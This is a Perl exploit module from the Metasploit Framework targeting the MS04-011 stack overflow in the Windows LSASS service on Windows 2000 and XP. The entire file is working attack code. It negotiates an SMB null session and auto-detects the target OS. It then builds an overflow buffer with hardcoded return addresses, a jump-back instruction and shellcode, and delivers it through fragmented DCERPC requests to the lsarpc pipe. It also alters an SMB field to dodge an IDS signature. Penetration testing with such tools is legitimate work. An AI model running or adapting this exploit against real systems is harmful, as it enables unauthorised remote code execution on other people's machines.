
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::lsass_ms04_011;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;

my $advanced =
  {
	'FragSize'  => [256, 'The DCERPC fragment size'],
	'DirectSMB' => [0,  'Use direct SMB (445/tcp)'],
  };

my $info =
  {
	'Name'    => 'Microsoft LSASS MSO4-011 Overflow',
	'Version' => '$Revision: 1.30 $',
	'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp' ],
	'Priv'  => 1,

	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  =>
	  {
		'RHOST'  => [1, 'ADDR', 'The target address'],
		'RPORT'  => [1, 'PORT', 'The target port', 139],

		# SMB connection options
		'SMBUSER' => [0, 'DATA', 'The SMB username to connect with', ''],
		'SMBPASS' => [0, 'DATA', 'The password for specified SMB username', ''],
		'SMBDOM'  => [0, 'DATA', 'The domain for specified SMB username', ''],
	  },

	'Payload' =>
	  {
		'Space'  => 1024,
		'BadChars'  => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
		'Keys'      => ['+ws2ord'],

		# sub esp, 4097 + inc esp makes stack happy
		'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
	  },

	'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the LSASS service, this vulnerability
        was originally found by eEye. When re-exploiting a Windows XP system, you will need
        need to run this module twice. DCERPC request fragmentation can be performed by setting
        'FragSize' parameter.
}),

	'Refs'  =>
	  [
		['OSVDB',   '5248'],
		['MSB',     'MS04-011'],
		['MIL',     '36'],
	  ],

	'DefaultTarget' => 0,
	'Targets'   =>
	  [
		['Automatic',    0x00000000],
		['Windows 2000', 0x773242e0],
		['Windows XP',   0x7449bf1a],
	  ],

	'Keys'  =>  ['lsass'],

	'DisclosureDate' => 'Apr 13 2004',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target_name = '*SMBSERVER';

	my $FragSize = $self->GetVar('FragSize') || 256;
	my $target = $self->Targets->[$target_idx];

	my ($res, $rpc);

	if (! $self->InitNops(128)) {
		$self->PrintLine("[*] Failed to initialize the nop module.");
		return;
	}

	my $beg =
	  "\xad\x0d\x00\x00\x00\x00\x00\x00\xad\x0d\x00\x00";

	my $end =
	  "\x00\x00\x00\x00\x50\x6a\x40\x00\x01\x00\x00\x00".
	  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
	  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
	  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
	  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x50\x6a\x40\x00".
	  "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
	  "\x50\x6a\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
	  "\x00\x00\x00\x00\x50\x6a\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00".
	  "\x01\x00\x00\x00\x00\x00\x00\x00\x50\x80\x23\x00\xdf\xaf\xff\x33".
	  "\x9b\x78\x70\x43\xc5\x0a\x4d\x98\x96\x02\x64\x92\xc1\xee\x70\x32".
	  "\x65\xc1\xef\x7b\xd6\xaa\xd6\x09\x21\xf6\xe7\xd1\x4c\xdf\x6a\x2d".
	  "\x0a\xfb\x43\xea\xda\x07\x24\x84\x88\x52\x9e\xa8\xa1\x7f\x4b\x60".
	  "\xec\x94\x57\x33\x06\x93\x92\x25\xd6\xac\xdc\x89\x68\x5e\xbb\x32".
	  "\x2b\x17\x68\xf2\x06\xb7\x86\xac\x81\xfe\x52\x27\xf5\x80\x11\x0d".
	  "\x4e\x2e\x1b\xa3\x44\x8a\x58\xed\xf3\x9c\xe9\x31\x01\x72\xa6\xab".
	  "\xfa\xa8\x05\x00\x37\x60\x6b\x81\xef\xf4\x96\x9a\xf7\x67\x95\x27".
	  "\x7a\x25\xef\x6f\x0e\xff\x2d\x15\x7f\x23\x1c\xa7\x56\x94\x4a\x18".
	  "\x98\xc6\xd8\xd2\x29\x5b\x57\xb8\x5d\x3a\x93\x58\x45\x77\x36\xe3".
	  "\xd1\x36\x87\xff\xe3\x94\x0f\x00\xe6\x7c\x1a\x92\xc1\x5f\x40\xc3".
	  "\xa3\x25\xce\xd4\xaf\x39\xeb\x17\xcf\x22\x43\xd9\x0c\xce\x37\x86".
	  "\x46\x54\xd6\xce\x00\x30\x36\xae\xf9\xb5\x2b\x11\xa0\xfe\xa3\x4b".
	  "\x2e\x05\xbe\x54\xa9\xd8\xa5\x76\x83\x5b\x63\x01\x1c\xd4\x56\x72".
	  "\xcd\xdc\x4a\x1d\x77\xda\x8a\x9e\xba\xcb\x6c\xe8\x19\x5d\x68\xef".
	  "\x8e\xbc\x6a\x05\x53\x0b\xc7\xc5\x96\x84\x04\xd9\xda\x4c\x42\x31".
	  "\xd9\xbd\x99\x06\xf7\xa3\x0a\x19\x49\x07\x77\xf0\xdb\x7c\x43\xfa".
	  "\xb2\xad\xb0\xfa\x87\x52\xba\xc9\x94\x61\xdc\xcf\x16\xac\x0f\x4a".
	  "\xa3\x6b\x5b\x6e\x27\x86\x1f\xfe\x4d\x28\x3a\xa5\x10\x54\x6d\xed".
	  "\x53\xf9\x73\xc6\x6e\xa8\xc0\x97\xcf\x56\x3b\x61\xdf\xab\x83\x18".
	  "\xe8\x09\xee\x6a\xb7\xf5\xc9\x62\x55\x2d\xc7\x0c\x0d\xa0\x22\xd8".
	  "\xd4\xd6\xb2\x12\x21\xd7\x73\x3e\x41\xb0\x5c\xd4\xcf\x98\xf3\x70".
	  "\xe6\x08\xe6\x2a\x4f\x24\x85\xe8\x74\xa8\x41\x5f\x0e\xfd\xf1\xf3".
	  "\xbe\x9b\x14\xfd\xc0\x73\x11\xff\xa5\x5b\x06\x34\xc3\x6c\x28\x42".
	  "\x07\xfe\x8a\xa5\xbe\x72\x7a\xf7\xfa\x25\xec\x35\x5e\x98\x71\x50".
	  "\x60\x35\x76\x53\x40\x1a\x34\xa5\x99\x09\xa2\xc6\xca\xa5\xce\x08".
	  "\x50\x45\xab\x8d\xfb\xe3\xb8\xe4\x8a\x61\x48\x14\x6e\xf7\x58\x71".
	  "\xe5\x2e\xbc\x12\xd1\x25\xe9\x65\x7a\xa1\x27\xbe\x3b\x8b\xe8\xe7".
	  "\xbc\xe1\x05\xe7\x92\xeb\xb9\xdf\x5d\x53\x74\xc0\x63\x97\x80\xb8".
	  "\x3c\xae\xf3\xf2\x09\x12\x81\x6c\x69\x10\x6f\xf6\xbe\x03\x7b\x88".
	  "\xcf\x26\x6b\x51\x06\x23\x68\x03\xa1\xb7\xd3\x0c\xca\xbf\x29\x01".
	  "\xa9\x61\x34\x75\x98\x1e\x05\x59\xb3\x46\x44\xff\x2b\x98\x04\x88".
	  "\x89\xfd\x7f\xd5\x19\x8a\xa6\xf3\xd9\x44\xd5\xf9\x3a\x3c\xec\xd9".
	  "\x9b\x8c\x93\x93\x2b\x44\x86\x8b\x80\x83\x23\x00\xdf\xaf\xff\x33".
	  "\x9b\x78\x70\x43\xf1\x55\x87\xb1\xa1\xb3\x8e\x79\x02\x70\x82\x6c".
	  "\x0b\xc1\xef\x96\xf1\xef\xdd\xa2\x69\x86\xc7\x85\x09\x7e\xf0\x2f".
	  "\x8e\xa0\x5f\xea\x39\x2e\x24\xf0\x82\x30\x26\xa8\xa1\x4f\xc6\x5c".
	  "\xec\x94\x87\x52\x9b\x93\x92\xf3\xa3\x1b\xc7\x8f\x9e\xb3\xbb\x32".
	  "\x2b\x17\x54\xf2\x06\x0c\x86\x92\x0f\xb8\xe0\x27\x50\xaa\xeb\xf5".
	  "\x4e\x2b\x1b\xb2\x44\xe6\x58\x02\xd7\x65\xdc\x31\x01\xec\xa6\xab".
	  "\xfa\xa8\x05\x00\x37\x60\x4f\xa1\x3c\x4f\x7a\x9a\x10\x67\x95\xc2".
	  "\x5b\x25\xef\x76\x0e\xff\x2d\x15\x7f\x23\x1c\x77\x56\x94\x4a\x18".
	  "\x98\xc6\xd8\xd2\x29\x44\x57\xb8\x40\x3a\x93\x58\x45\x77\x36\x36".
	  "\x07\x35\x2a\xff\x00\x94\x5c\x80\xe6\x7c\x1a\x92\xc1\x5f\x40\xc3".
	  "\xbc\xf8\xce\x05\x77\x39\x40\x17\xcf\x63\x43\x77\x27\xce\x37\x86".
	  "\x46\x54\xd6\xce\x00\x30\x36\xae\x9f\x24\x2b\x5a\xa0\xfe\xa3\x4b".
	  "\x2e\x7e\xf7\x54\xa9\xd8\xa5\x76\x83\x7b\x63\x01\x1c\xd4\x56\x17".
	  "\x02\xdc\x4a\x89\x77\xda\x8f\x9e\xba\xcb\x37\xe8\x19\x5d\x68\x38".
	  "\x8e\xbc\x6a\x05\x53\x0b\xc7\xc5\x96\x84\x5a\xd9\x6d\x4c\x42\x31".
	  "\xd9\xf2\x99\x06\xf7\x0c\x99\xbe\x49\x07\x77\xf0\x8b\x7c\x43\xfa".
	  "\xb2\xad\xb0\xfa\x87\x52\xba\xc9\x94\x61\xdc\xcf\x16\xac\x0f\x4a".
	  "\xa3\x6b\x5b\x6e\x27\x86\x1f\xfe\x4d\x28\x3a\xa5\x10\x98\x6d\xed".
	  "\x53\xf9\x73\xc6\xa5\xa8\xf7\x66\xcf\x56\x3b\x61\xdf\xab\x83\x18".
	  "\xe8\x09\xee\x6a\xb7\xf5\xc9\x62\x55\x2d\xc7\x0c\x0d\xa0\x22\xd8".
	  "\xd4\xd6\xb2\x12\x21\xd7\x73\x3e\x41\xb0\x5c\xd4\xcf\x98\xf3\x70".
	  "\xe6\x08\xe6\x2a\x4f\x92\x85\xe8\x74\xa8\x41\x5f\x0e\xfd\xf1\xf3".
	  "\xbe\x9b\x14\xfd\xc0\x73\x11\xff\xa5\x5b\x06\x34\xc3\x5d\x28\x42".
	  "\x34\xfe\x8a\xa5\xbe\x72\x7a\xf7\xfa\x25\x2b\x35\x5e\x98\x71\x50".
	  "\x2c\x35\x76\x53\x4e\x1a\x34\xa5\x99\x09\xa2\xc6\xca\xa5\xce\x08".
	  "\x50\x45\xab\x8d\xfb\xe3\xb8\xe4\x8a\x61\x48\x14\x6e\xf7\x58\x71".
	  "\xe5\x2e\xbc\x12\xd1\x25\xe9\x65\x7a\xa1\x27\xbe\x3b\x8b\xe8\xe7".
	  "\xbc\x77\x05\xe7\x92\xeb\xb9\xdf\x5d\x53\x74\xc0\x63\x97\x80\xb8".
	  "\x3c\xae\xf3\xf2\x09\x12\x81\x6c\x69\x10\x6f\xf6\xbe\x03\x7b\x88".
	  "\xcf\x26\x6b\x51\x06\x23\x68\x03\xa1\xb7\xd3\x0c\xca\xbf\x29\x01".
	  "\xa9\x61\x34\x75\x98\x1e\x6f\x59\xb3\x46\x44\xff\x2b\x98\x04\x88".
	  "\x89\xfd\x1c\xd5\x19\x8a\xa6\xf3\xd9\x44\xd5\xf9\x79\x26\x46\xf7".
	  "\xbf\xa1\x12\x73\x23\x44\x86\x8b\x50\x6a\x40\x00";

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
	  );

	if ($s->IsError) {
		$self->PrintLine("[*] Socket error: " . $s->GetError());
		return(0);
	}

	my $x = Pex::SMB->new({ 'Socket' => $s });

	# Cisco actually added a "metasploit" signature...
	$x->NativeLM('LameCiscoIDSDevelopers');

	if ($target_port != 445 && ! $self->GetVar('DirectSMB')) {
		$x->SMBSessionRequest($target_name);
		if ($x->Error) {
			$self->PrintLine("[*] Session request failed for $target_name");
			return;
		}
	}

	$x->SMBNegotiate();
	$x->SMBSessionSetup (
		$self->GetVar('SMBUSER'),
		$self->GetVar('SMBPASS'),
		$self->GetVar('SMBDOM')
	  );
	if ($x->Error) {
		$self->PrintLine("[*] Failed to establish a null session");
		return;
	}

	$target_name = $x->DefaultNBName;

	if ($target->[0] =~ /Auto/) {
		if ($x->PeerNativeOS eq 'Windows 5.0') {
			$target = $self->Targets->[1];
			$self->PrintLine("[*] Detected a Windows 2000 target ($target_name)");
		}
		elsif ( $x->PeerNativeOS eq 'Windows 5.1') {
			$target = $self->Targets->[2];
			$self->PrintLine("[*] Detected a Windows XP target ($target_name)");
		} else {
			$self->PrintLine("[*] No target available for ".$x->PeerNativeOS." ($target_name)");
			return;
		}
	}

	my ($pattern, $overflow);

	# Windows 2000 requires that the string be unicode formatted
	# and give us a nice set of registers which point back to
	# the un-unicoded data. We simply return to a nop sled that
	# jumps over the return address, some trash, and into the
	# final payload. Easy as pie.

	# $shellcode = "\xcc" x length($shellcode);

	if ($target->[0] =~ /2000/) {
		$pattern = Pex::Text::EnglishText(3500);
		substr($pattern, 2020, 4, pack('V', $target->[1]));
		substr($pattern, 2104, length($shellcode), $shellcode);
		$overflow = $beg . Pex::SMB->NTUnicode($pattern) . $end;
	}

	# Windows XP is a bit different, we need to use an ascii
	# buffer and a jmp esp. The esp register points to an
	# eight byte segment at the end of our buffer in memory,
	# we make these bytes jump back to the beginning of the
	# buffer, giving us about 1936 bytes of space for a
	# payload.

	if ($target->[0] =~ /XP/) {
		$pattern = Pex::Text::EnglishText(7000);
		substr($pattern, 0, length($shellcode), $shellcode);
		substr($pattern, 1964, 4, pack('V', $target->[1]));
		substr($pattern, 1980, 5, "\xe9\x3f\xf8\xff\xff");  # jmp back to 1980 (disco fever)
		$overflow = $beg . $pattern. $end;
		$self->PrintLine("[*] Windows XP may require two attempts");

		if ($FragSize > 4000) {
			$self->PrintLine("[*] Windows XP actually enforces maximum fragment size");
			$self->PrintLine("[*] Shrinking the DCE frag size down to 4000");
			$FragSize = 4000;
		}
	}

	$x->SMBTConnect("\\\\".$target_host."\\IPC\$");
	if ($x->Error) {
		$self->PrintLine("[*] Failed to connect to the IPC share");
		return;
	}

	my ($bind, $ctx) = Pex::DCERPC::BindFakeMulti(Pex::DCERPC::UUID('LSA_DS'), '0.0');
	my (@DCE) = Pex::DCERPC::Request(9, $overflow, $FragSize, $ctx);

	$x->SMBCreate('\lsarpc');
	if ($x->Error) {
		$self->PrintLine("[*] Failed to create pipe to LSASS");
		return;
	}

	$x->SMBTransNP($x->LastFileID, $bind);
	if ($x->Error) {
		$self->PrintLine("[*] Failed to bind to LSASS over DCE RPC");
		return;
	}

	my $offset = 0;
	$self->PrintLine("[*] Sending ".(scalar(@DCE)-1)." DCE request fragments...");

	if (scalar(@DCE) > 6000) {
		$self->PrintLine("[*] This is going to take some time, go order pizza");
	}
	elsif (scalar(@DCE) > 4000) {
		$self->PrintLine("[*] This is going to take some time, go make pasta");
	}
	elsif (scalar(@DCE) > 2000) {
		$self->PrintLine("[*] This is going to take some time, go make a sandwich");
	}
	elsif (scalar(@DCE) > 1200) {
		$self->PrintLine("[*] This is going to take some time, go get a beer...");
	}
	elsif (scalar(@DCE) > 800) {
		$self->PrintLine("[*] This is going to take some time, go get a glass of soda...");
	}
	elsif (scalar(@DCE) > 600) {
		$self->PrintLine("[*] This is going to take some time, go get a can of soda...");
	}

	while (scalar(@DCE != 1)) {
		my $chunk = shift(@DCE);
		$x->SMBWrite($x->LastFileID, $offset, $chunk);
		$offset += length($chunk);
	}

	$self->PrintLine("[*] Sending the final DCE fragment");
	$x->SMBTransNP($x->LastFileID, $DCE[0]);
}

